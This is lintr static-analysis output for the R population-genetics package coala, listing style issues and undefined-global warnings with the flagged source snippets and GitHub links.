[R/cache.R:16:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/cache.R#L16) *warning:* **no visible binding for global variable ‘cache_env’**
```r
  cache_env[[model$id]][[name]]
  ^~~~~~~~~
```
[R/feature_growth.R:44:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_growth.R#L44) *warning:* **no visible binding for global variable ‘growth_class’**
```r
  growth_class$new(rate, population, time)
  ^~~~~~~~~~~~
```
[R/feature_ignore_singletons.R:28:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_ignore_singletons.R#L28) *warning:* **no visible binding for global variable ‘ign_singletons_class’**
```r
  ign_singletons_class$new()
  ^~~~~~~~~~~~~~~~~~~~
```
[R/feature_ignore_singletons.R:40:29:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_ignore_singletons.R#L40) *warning:* **no visible global function definition for ‘get_snps’**
```r
    is_singleton <- colSums(get_snps(segsites)) == 1
                            ^~~~~~~~
```
[R/feature_ignore_singletons.R:41:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_ignore_singletons.R#L41) *style:* **Commas should never have a space before.**
```r
    segsites[ , !is_singleton]
             ~^
```
[R/feature_ignore_singletons.R:52:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_ignore_singletons.R#L52) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_msms_arg.ign_singletons <- ignore_par
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_ignore_singletons.R:56:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_ignore_singletons.R#L56) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_scrm_arg.ign_singletons <- ignore_par
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_ignore_singletons.R:60:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_ignore_singletons.R#L60) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_seqgen_arg.ign_singletons <- ignore_par
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_migration.R:72:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_migration.R#L72) *warning:* **no visible binding for global variable ‘migration_class’**
```r
    return(migration_class$new(rate, time = time, symmetric = TRUE))
           ^~~~~~~~~~~~~~~
```
[R/feature_migration.R:74:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_migration.R#L74) *warning:* **no visible binding for global variable ‘migration_class’**
```r
    return(migration_class$new(rate, pop_from, pop_to, time))
           ^~~~~~~~~~~~~~~
```
[R/feature_mutation.R:178:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_mutation.R#L178) *warning:* **no visible global function definition for ‘conv_to_ms_arg.mutation’**
```r
  conv_to_ms_arg.mutation(feature, model)
  ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_outgroup.R:31:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_outgroup.R#L31) *warning:* **no visible binding for global variable ‘outgroup_class’**
```r
  outgroup_class$new(population)
  ^~~~~~~~~~~~~~
```
[R/feature_outgroup.R:40:34:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_outgroup.R#L40) *warning:* **no visible binding for global variable ‘is_feat_outgroup’**
```r
  mask <- vapply(model$features, is_feat_outgroup, logical(1))
                                 ^~~~~~~~~~~~~~~~
```
[R/feature_outgroup.R:49:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_outgroup.R#L49) *warning:* **no visible global function definition for ‘get_outgroup’**
```r
  outgroup <- get_outgroup(model)
              ^~~~~~~~~~~~
```
[R/feature_outgroup.R:51:20:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_outgroup.R#L51) *warning:* **no visible global function definition for ‘get_sample_size’**
```r
  outgroup_size <- get_sample_size(model, for_sim)[outgroup]
                   ^~~~~~~~~~~~~~~
```
[R/feature_pop_merge.R:47:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_pop_merge.R#L47) *warning:* **no visible binding for global variable ‘pop_merge_class’**
```r
  pop_merge_class$new(time, pop_source, pop_target)
  ^~~~~~~~~~~~~~~
```
[R/feature_recombination.R:35:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_recombination.R#L35) *warning:* **no visible binding for global variable ‘recombination_class’**
```r
  recombination_class$new(rate)
  ^~~~~~~~~~~~~~~~~~~
```
[R/feature_recombination.R:54:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_recombination.R#L54) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_seqgen_arg.recombination <- ignore_par
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_sample.R:44:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L44) *warning:* **no visible binding for global variable ‘sample_class’**
```r
  sample_class$new(individuals, ploidy, time)
  ^~~~~~~~~~~~
```
[R/feature_sample.R:59:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L59) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.logical(for_sim))
  ^~~~~~~~~~~
```
[R/feature_sample.R:60:18:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L60) *warning:* **no visible global function definition for ‘read_cache’**
```r
  sample_size <- read_cache(model, paste0("sample_size_", for_sim))
                 ^~~~~~~~~~
```
[R/feature_sample.R:63:40:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L63) *warning:* **no visible binding for global variable ‘is_feat_sample’**
```r
    feat_mask <- sapply(model$feature, is_feat_sample)
                                       ^~~~~~~~~~~~~~
```
[R/feature_sample.R:68:36:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L68) *warning:* **no visible global function definition for ‘get_ploidy’**
```r
      sample_size <- sample_size * get_ploidy(model)
                                   ^~~~~~~~~~
```
[R/feature_sample.R:70:36:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L70) *warning:* **no visible global function definition for ‘get_samples_per_ind’**
```r
      sample_size <- sample_size * get_samples_per_ind(model)
                                   ^~~~~~~~~~~~~~~~~~~
```
[R/feature_sample.R:72:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L72) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, paste0("sample_size_", for_sim), sample_size)
    ^~~~~
```
[R/feature_sample.R:80:34:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L80) *warning:* **no visible binding for global variable ‘is_feat_sample’**
```r
  mask <- vapply(model$features, is_feat_sample, logical(1))
                                 ^~~~~~~~~~~~~~
```
[R/feature_sample.R:91:18:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sample.R#L91) *warning:* **no visible global function definition for ‘get_sample_size’**
```r
  sample_size <- get_sample_size(model, TRUE)
                 ^~~~~~~~~~~~~~~
```
[R/feature_selection.R:176:21:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_selection.R#L176) *warning:* **no visible global function definition for ‘get_populations’**
```r
    n_pop <- length(get_populations(model))
                    ^~~~~~~~~~~~~~~
```
[R/feature_selection.R:191:36:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_selection.R#L191) *style:* **Commas should never have a space before.**
```r
                        n_pop, " " , paste(start_freq, collapse = " "), " ",
                                  ~^
```
[R/feature_size_change.R:47:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_size_change.R#L47) *warning:* **no visible binding for global variable ‘size_change_class’**
```r
  size_change_class$new(new_size, population, time)
  ^~~~~~~~~~~~~~~~~
```
[R/feature_sumstats.R:18:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sumstats.R#L18) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_msms_arg.seg_sites_feat <- conv_to_ms_arg.seg_sites_feat
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_sumstats.R:22:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sumstats.R#L22) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_scrm_arg.seg_sites_feat <- conv_to_ms_arg.seg_sites_feat
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_sumstats.R:26:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_sumstats.R#L26) *style:* **Variable and function names should not be longer than 30 characters.**
```r
conv_to_seqgen_arg.seg_sites_feat <- conv_to_ms_arg.seg_sites_feat
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/feature_unphased.R:52:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_unphased.R#L52) *warning:* **no visible binding for global variable ‘unphased_class’**
```r
  unphased_class$new(samples_per_ind)
  ^~~~~~~~~~~~~~
```
[R/feature_unphased.R:60:34:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_unphased.R#L60) *warning:* **no visible binding for global variable ‘is_feat_unphased’**
```r
  mask <- vapply(model$features, is_feat_unphased, logical(1))
                                 ^~~~~~~~~~~~~~~~
```
[R/feature_unphased.R:68:11:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_unphased.R#L68) *warning:* **no visible global function definition for ‘get_feature_unphased’**
```r
  feat <- get_feature_unphased(model)
          ^~~~~~~~~~~~~~~~~~~~
```
[R/feature_unphased.R:69:29:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/feature_unphased.R#L69) *warning:* **no visible global function definition for ‘get_ploidy’**
```r
  if (is.null(feat)) return(get_ploidy(model))
                            ^~~~~~~~~~
```
[R/import_popgenome.R:19:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/import_popgenome.R#L19) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
as.segsites.GENOME <- function(data, only_synonymous = FALSE, ...) {
^~~~~~~~~~~~~~~~~~
```
[R/import_popgenome.R:20:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/import_popgenome.R#L20) *warning:* **no visible global function definition for ‘require_package’**
```r
  require_package("PopGenome")
  ^~~~~~~~~~~~~~~
```
[R/import_popgenome.R:43:43:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/import_popgenome.R#L43) *style:* **Commas should never have a space before.**
```r
      seg_sites <- bam[c(pops, outgroup), , drop = FALSE]
                                         ~^
```
[R/import_popgenome.R:49:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/import_popgenome.R#L49) *warning:* **no visible global function definition for ‘create_segsites’**
```r
    create_segsites(seg_sites, pos)
    ^~~~~~~~~~~~~~~
```
[R/import_popgenome.R:56:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/import_popgenome.R#L56) *warning:* **no visible global function definition for ‘require_package’**
```r
  require_package("PopGenome")
  ^~~~~~~~~~~~~~~
```
[R/interface_abc.R:80:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/interface_abc.R#L80) *warning:* **no visible global function definition for ‘get_summary_statistics’**
```r
  sumstats <- get_summary_statistics(model)
              ^~~~~~~~~~~~~~~~~~~~~~
```
[R/interface_abc.R:84:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/interface_abc.R#L84) *warning:* **no visible global function definition for ‘assert_that’**
```r
      assert_that(is.numeric(value))
      ^~~~~~~~~~~
```
[R/interface_abc.R:86:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/interface_abc.R#L86) *style:* **lines should not be more than 80 characters.**
```r
        warning("Value of the ", stat$get_name(), " statistic is not a vector. ",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/locus.R:84:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/locus.R#L84) *warning:* **no visible binding for global variable ‘locus_class’**
```r
  locus_class$new(length, 1)
  ^~~~~~~~~~~
```
[R/locus.R:92:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/locus.R#L92) *warning:* **no visible binding for global variable ‘locus_class’**
```r
  locus_class$new(round(length), number)
  ^~~~~~~~~~~
```
[R/locus.R:151:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/locus.R#L151) *warning:* **no visible global function definition for ‘get_locus_length_matrix’**
```r
  llm <- get_locus_length_matrix(model)
         ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/locus.R:152:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/locus.R#L152) *warning:* **no visible global function definition for ‘get_locus_group’**
```r
  group <- get_locus_group(model, locus)
           ^~~~~~~~~~~~~~~
```
[R/model_build.R:10:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L10) *warning:* **no visible global function definition for ‘is.model’**
```r
  if (is.model(e1)) return(add_to_model(e2, e1, e2name))
      ^~~~~~~~
```
[R/model_build.R:10:28:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L10) *warning:* **no visible global function definition for ‘add_to_model’**
```r
  if (is.model(e1)) return(add_to_model(e2, e1, e2name))
                           ^~~~~~~~~~~~
```
[R/model_build.R:48:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L48) *warning:* **no visible global function definition for ‘get_id’, Did you mean 'getwd'?**
```r
  model$id <- get_id()
              ^~~~~~
```
[R/model_build.R:54:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L54) *warning:* **no visible global function definition for ‘add_variation’**
```r
  model <- add_variation(model)
           ^~~~~~~~~~~~~
```
[R/model_build.R:56:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L56) *warning:* **no visible global function definition for ‘get_id’, Did you mean 'getwd'?**
```r
  model$id <- get_id()
              ^~~~~~
```
[R/model_build.R:79:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L79) *warning:* **no visible global function definition for ‘get_id’, Did you mean 'getwd'?**
```r
  model$id <- get_id()
              ^~~~~~
```
[R/model_build.R:86:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_build.R#L86) *warning:* **no visible global function definition for ‘get_id’, Did you mean 'getwd'?**
```r
  model$id <- get_id()
              ^~~~~~
```
[R/model_check.R:18:16:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_check.R#L18) *warning:* **no visible global function definition for ‘get_simulator’**
```r
    simprog <- get_simulator(simprog_name)
               ^~~~~~~~~~~~~
```
[R/model_getters.R:15:13:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L15) *warning:* **no visible global function definition for ‘is.model’**
```r
  stopifnot(is.model(model))
            ^~~~~~~~
```
[R/model_getters.R:17:16:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L17) *warning:* **no visible global function definition for ‘read_cache’**
```r
  par_table <- read_cache(model, "par_table")
               ^~~~~~~~~~
```
[R/model_getters.R:35:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L35) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, "par_table", par_table)
    ^~~~~
```
[R/model_getters.R:45:13:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L45) *warning:* **no visible global function definition for ‘is.model’**
```r
  stopifnot(is.model(model))
            ^~~~~~~~
```
[R/model_getters.R:59:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L59) *warning:* **no visible global function definition for ‘get_locus_length_matrix’**
```r
  llm <- get_locus_length_matrix(model)
         ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/model_getters.R:71:14:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L71) *warning:* **no visible global function definition for ‘get_locus_group’**
```r
    group <- get_locus_group(model, locus)
             ^~~~~~~~~~~~~~~
```
[R/model_getters.R:75:21:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L75) *style:* **Commas should never have a space before.**
```r
  if (sum(llm[group , c(1:2, 4:5)]) == 0) return(llm[group , 3])
                   ~^
```
[R/model_getters.R:75:60:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L75) *style:* **Commas should never have a space before.**
```r
  if (sum(llm[group , c(1:2, 4:5)]) == 0) return(llm[group , 3])
                                                          ~^
```
[R/model_getters.R:81:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L81) *warning:* **no visible global function definition for ‘get_locus_length_matrix’**
```r
  llm <- get_locus_length_matrix(model)
         ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/model_getters.R:82:25:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L82) *style:* **Commas should never have a space before.**
```r
  min(which(cumsum(llm[ , "number"]) >= locus))
                       ~^
```
[R/model_getters.R:87:8:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L87) *warning:* **no visible global function definition for ‘get_locus_length_matrix’**
```r
  nrow(get_locus_length_matrix(model))
       ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/model_getters.R:94:49:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L94) *warning:* **no visible binding for global variable ‘is_feat_sample’**
```r
  feat <- model$features[vapply(model$features, is_feat_sample, logical(1))]
                                                ^~~~~~~~~~~~~~
```
[R/model_getters.R:96:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L96) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(pop_number > 0)
  ^~~~~~~~~~~
```
[R/model_getters.R:105:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L105) *warning:* **no visible global function definition for ‘read_cache’**
```r
  llm <- read_cache(model, "llm")
         ^~~~~~~~~~
```
[R/model_getters.R:107:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L107) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(length(model$loci) >= 0)
    ^~~~~~~~~~~
```
[R/model_getters.R:115:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L115) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, "llm", llm)
    ^~~~~
```
[R/model_getters.R:125:14:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L125) *warning:* **no visible global function definition for ‘get_locus_length_matrix’**
```r
  numbers <- get_locus_length_matrix(model)[ , "number"]
             ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/model_getters.R:125:46:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L125) *style:* **Commas should never have a space before.**
```r
  numbers <- get_locus_length_matrix(model)[ , "number"]
                                            ~^
```
[R/model_getters.R:127:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L127) *warning:* **no visible global function definition for ‘has_variation’**
```r
  if (has_variation(model) && !ignore_variation) return(1)
      ^~~~~~~~~~~~~
```
[R/model_getters.R:144:18:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L144) *warning:* **no visible global function definition for ‘get_sample_size’**
```r
  sample_size <- get_sample_size(model)
                 ^~~~~~~~~~~~~~~
```
[R/model_getters.R:145:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L145) *warning:* **no visible global function definition for ‘get_outgroup’**
```r
  outgroup <- get_outgroup(model)
              ^~~~~~~~~~~~
```
[R/model_getters.R:152:47:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L152) *warning:* **no visible global function definition for ‘get_ploidy’**
```r
  if (!haploids) sample_size <- sample_size / get_ploidy(model)
                                              ^~~~~~~~~~
```
[R/model_getters.R:155:17:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L155) *warning:* **no visible global function definition for ‘get_populations’**
```r
  if (!pop %in% get_populations(model)) stop("Invalid population")
                ^~~~~~~~~~~~~~~
```
[R/model_getters.R:163:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L163) *warning:* **no visible global function definition for ‘get_parameter’**
```r
  param <- get_parameter(model)
           ^~~~~~~~~~~~~
```
[R/model_getters.R:166:35:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L166) *warning:* **no visible binding for global variable ‘is.prior_par’**
```r
    param <- param[!vapply(param, is.prior_par, numeric(1))]
                                  ^~~~~~~~~~~~
```
[R/model_getters.R:174:28:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_getters.R#L174) *warning:* **no visible global function definition for ‘select_simprog’**
```r
  suppressWarnings(prog <- select_simprog(model))
                           ^~~~~~~~~~~~~~
```
[R/model_print.R:17:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_print.R#L17) *warning:* **no visible global function definition for ‘print_model_part’**
```r
  print_model_part(x, "features", "Features")
  ^~~~~~~~~~~~~~~~
```
[R/model_print.R:20:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_print.R#L20) *warning:* **no visible global function definition for ‘print_model_part’**
```r
  print_model_part(x, "parameter", "Parameter")
  ^~~~~~~~~~~~~~~~
```
[R/model_print.R:23:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_print.R#L23) *warning:* **no visible global function definition for ‘print_model_part’**
```r
  print_model_part(x, "loci", "Loci")
  ^~~~~~~~~~~~~~~~
```
[R/model_print.R:26:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_print.R#L26) *warning:* **no visible global function definition for ‘print_model_part’**
```r
  print_model_part(x, "sum_stats", "Summary Statistics")
  ^~~~~~~~~~~~~~~~
```
[R/model_print.R:29:31:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_print.R#L29) *warning:* **no visible global function definition for ‘select_simprog’**
```r
  suppressWarnings(simprog <- select_simprog(x))
                              ^~~~~~~~~~~~~~
```
[R/model_print.R:35:23:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_print.R#L35) *warning:* **no visible global function definition for ‘get_cmd’**
```r
    cmd <- try(cmd <- get_cmd(x), silent = TRUE)
                      ^~~~~~~
```
[R/model_scale.R:23:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_scale.R#L23) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.model(model))
  ^~~~~~~~~~~
```
[R/model_scale.R:23:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_scale.R#L23) *warning:* **no visible global function definition for ‘is.model’**
```r
  assert_that(is.model(model))
              ^~~~~~~~
```
[R/model_scale.R:24:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_scale.R#L24) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.numeric(scaling_factor))
  ^~~~~~~~~~~
```
[R/model_scale.R:25:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_scale.R#L25) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(length(scaling_factor) == 1)
  ^~~~~~~~~~~
```
[R/model_scale.R:27:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_scale.R#L27) *warning:* **no visible global function definition for ‘get_id’, Did you mean 'getwd'?**
```r
  model$id <- get_id()
              ^~~~~~
```
[R/model_simulate.R:40:14:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_simulate.R#L40) *warning:* **no visible global function definition for ‘select_simprog’**
```r
  simprog <- select_simprog(object)
             ^~~~~~~~~~~~~~
```
[R/model_simulate.R:44:21:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model_simulate.R#L44) *warning:* **no visible global function definition for ‘prepare_pars’**
```r
    current_pars <- prepare_pars(pars, object)
                    ^~~~~~~~~~~~
```
[R/model.R:72:20:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L72) *warning:* **no visible global function definition for ‘feat_sample’**
```r
  model <- model + feat_sample(sample_size, ploidy)
                   ^~~~~~~~~~~
```
[R/model.R:76:22:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L76) *warning:* **no visible global function definition for ‘locus_averaged’**
```r
    model <- model + locus_averaged(loci_number, loci_length)
                     ^~~~~~~~~~~~~~
```
[R/model.R:92:11:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L92) *warning:* **no visible global function definition for ‘read_cache’**
```r
  name <- read_cache(model, "simprog")
          ^~~~~~~~~~
```
[R/model.R:98:18:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L98) *warning:* **no visible global function definition for ‘get_simulator’**
```r
      simprog <- get_simulator(simprog_name)
                 ^~~~~~~~~~~~~
```
[R/model.R:109:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L109) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, "simprog", name)
    ^~~~~
```
[R/model.R:126:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L126) *warning:* **no visible global function definition for ‘get_locus_length_matrix’**
```r
  sum(get_locus_length_matrix(model)[ , c(1:2, 4:5)]) > 0
      ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/model.R:126:39:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L126) *style:* **Commas should never have a space before.**
```r
  sum(get_locus_length_matrix(model)[ , c(1:2, 4:5)]) > 0
                                     ~^
```
